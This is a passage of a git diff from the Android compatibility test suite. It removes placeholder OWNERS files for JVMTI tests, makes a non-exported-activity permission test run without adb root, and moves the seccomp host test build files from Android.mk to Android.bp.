@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-927/app/OWNERS b/hostsidetests/jvmti/run-tests/test-927/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-927/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-928/OWNERS b/hostsidetests/jvmti/run-tests/test-928/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-928/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-928/app/OWNERS b/hostsidetests/jvmti/run-tests/test-928/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-928/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-930/OWNERS b/hostsidetests/jvmti/run-tests/test-930/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-930/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-930/app/OWNERS b/hostsidetests/jvmti/run-tests/test-930/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-930/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-931/OWNERS b/hostsidetests/jvmti/run-tests/test-931/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-931/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-931/app/OWNERS b/hostsidetests/jvmti/run-tests/test-931/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-931/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-932/OWNERS b/hostsidetests/jvmti/run-tests/test-932/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-932/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-932/app/OWNERS b/hostsidetests/jvmti/run-tests/test-932/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-932/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-940/OWNERS b/hostsidetests/jvmti/run-tests/test-940/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-940/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-940/app/OWNERS b/hostsidetests/jvmti/run-tests/test-940/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-940/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-942/OWNERS b/hostsidetests/jvmti/run-tests/test-942/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-942/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-942/app/OWNERS b/hostsidetests/jvmti/run-tests/test-942/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-942/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-944/OWNERS b/hostsidetests/jvmti/run-tests/test-944/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-944/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-944/app/OWNERS b/hostsidetests/jvmti/run-tests/test-944/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-944/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-945/OWNERS b/hostsidetests/jvmti/run-tests/test-945/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-945/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-945/app/OWNERS b/hostsidetests/jvmti/run-tests/test-945/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-945/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-947/OWNERS b/hostsidetests/jvmti/run-tests/test-947/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-947/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-947/app/OWNERS b/hostsidetests/jvmti/run-tests/test-947/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-947/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-951/OWNERS b/hostsidetests/jvmti/run-tests/test-951/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-951/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-951/app/OWNERS b/hostsidetests/jvmti/run-tests/test-951/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-951/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-982/OWNERS b/hostsidetests/jvmti/run-tests/test-982/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-982/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-982/app/OWNERS b/hostsidetests/jvmti/run-tests/test-982/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-982/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-983/OWNERS b/hostsidetests/jvmti/run-tests/test-983/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-983/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-983/app/OWNERS b/hostsidetests/jvmti/run-tests/test-983/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-983/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-984/OWNERS b/hostsidetests/jvmti/run-tests/test-984/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-984/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-984/app/OWNERS b/hostsidetests/jvmti/run-tests/test-984/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-984/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-985/OWNERS b/hostsidetests/jvmti/run-tests/test-985/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-985/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-985/app/OWNERS b/hostsidetests/jvmti/run-tests/test-985/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-985/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-986/OWNERS b/hostsidetests/jvmti/run-tests/test-986/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-986/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-986/app/OWNERS b/hostsidetests/jvmti/run-tests/test-986/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-986/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-988/OWNERS b/hostsidetests/jvmti/run-tests/test-988/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-988/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-988/app/OWNERS b/hostsidetests/jvmti/run-tests/test-988/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-988/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-989/OWNERS b/hostsidetests/jvmti/run-tests/test-989/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-989/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-989/app/OWNERS b/hostsidetests/jvmti/run-tests/test-989/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-989/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-990/OWNERS b/hostsidetests/jvmti/run-tests/test-990/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-990/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-990/app/OWNERS b/hostsidetests/jvmti/run-tests/test-990/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-990/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-991/OWNERS b/hostsidetests/jvmti/run-tests/test-991/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-991/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-991/app/OWNERS b/hostsidetests/jvmti/run-tests/test-991/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-991/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-992/OWNERS b/hostsidetests/jvmti/run-tests/test-992/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-992/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-992/app/OWNERS b/hostsidetests/jvmti/run-tests/test-992/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-992/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-993/OWNERS b/hostsidetests/jvmti/run-tests/test-993/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-993/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-993/app/OWNERS b/hostsidetests/jvmti/run-tests/test-993/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-993/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-994/OWNERS b/hostsidetests/jvmti/run-tests/test-994/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-994/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-994/app/OWNERS b/hostsidetests/jvmti/run-tests/test-994/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-994/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-995/OWNERS b/hostsidetests/jvmti/run-tests/test-995/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-995/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-995/app/OWNERS b/hostsidetests/jvmti/run-tests/test-995/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-995/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-996/OWNERS b/hostsidetests/jvmti/run-tests/test-996/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-996/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-996/app/OWNERS b/hostsidetests/jvmti/run-tests/test-996/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-996/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-997/OWNERS b/hostsidetests/jvmti/run-tests/test-997/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-997/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/run-tests/test-997/app/OWNERS b/hostsidetests/jvmti/run-tests/test-997/app/OWNERS
deleted file mode 100644
index d6078e0..0000000
--- a/hostsidetests/jvmti/run-tests/test-997/app/OWNERS
+++ /dev/null
@@ -1,4 +0,0 @@
-# DO NOT DELETE: OWNERS is intended to be empty as module owner and bug component are defined
-# in parent directory. This file is needed as a placeholder for verification purpose as we
-# need to tell the difference between "no owner is specified for this module" vs "explicitly
-# defer to parent OWNERS file"
diff --git a/hostsidetests/jvmti/tagging/OWNERS b/hostsidetests/jvmti/tagging/OWNERS
new file mode 100644
index 0000000..2dbff0d
--- /dev/null
+++ b/hostsidetests/jvmti/tagging/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include ../run-tests/OWNERS
diff --git a/hostsidetests/os/src/android/os/cts/OsHostTests.java b/hostsidetests/os/src/android/os/cts/OsHostTests.java
index 086f787..c557c9e 100644
--- a/hostsidetests/os/src/android/os/cts/OsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/OsHostTests.java
@@ -86,12 +86,22 @@
*/
@AppModeFull(reason = "Error message is different for instant app (Activity does not exist)")
public void testNonExportedActivities() throws Exception {
- // Attempt to launch the non-exported activity in the test app
- CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- mDevice.executeShellCommand(START_NON_EXPORTED_ACTIVITY_COMMAND, outputReceiver);
- final String output = outputReceiver.getOutput();
+ // Run as unroot
+ boolean wasRoot = mDevice.isAdbRoot();
+ try {
+ mDevice.disableAdbRoot();
+ // Attempt to launch the non-exported activity in the test app
+ CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
+ mDevice.executeShellCommand(START_NON_EXPORTED_ACTIVITY_COMMAND, outputReceiver);
+ final String output = outputReceiver.getOutput();
- assertTrue(output.contains("Permission Denial") && output.contains(" not exported"));
+ assertTrue(output.contains("Permission Denial") && output.contains(" not exported"));
+ } finally {
+ // Restore back to original root state
+ if (wasRoot) {
+ mDevice.enableAdbRoot();
+ }
+ }
}
public void testIntentFilterHostValidation() throws Exception {
diff --git a/hostsidetests/seccomp/Android.bp b/hostsidetests/seccomp/Android.bp
new file mode 100644
index 0000000..cb61ad4
--- /dev/null
+++ b/hostsidetests/seccomp/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+ name: "CtsSeccompHostTestCases",
+ srcs: ["src/**/*.java"],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ libs: [
+ "cts-tradefed",
+ "tradefed",
+ "compatibility-host-util",
+ ],
+}
diff --git a/hostsidetests/seccomp/Android.mk b/hostsidetests/seccomp/Android.mk
deleted file mode 100644
index 2c1c077..0000000
--- a/hostsidetests/seccomp/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE := CtsSeccompHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/seccomp/app/Android.bp b/hostsidetests/seccomp/app/Android.bp
new file mode 100644
index 0000000..da78d53
--- /dev/null
+++ b/hostsidetests/seccomp/app/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
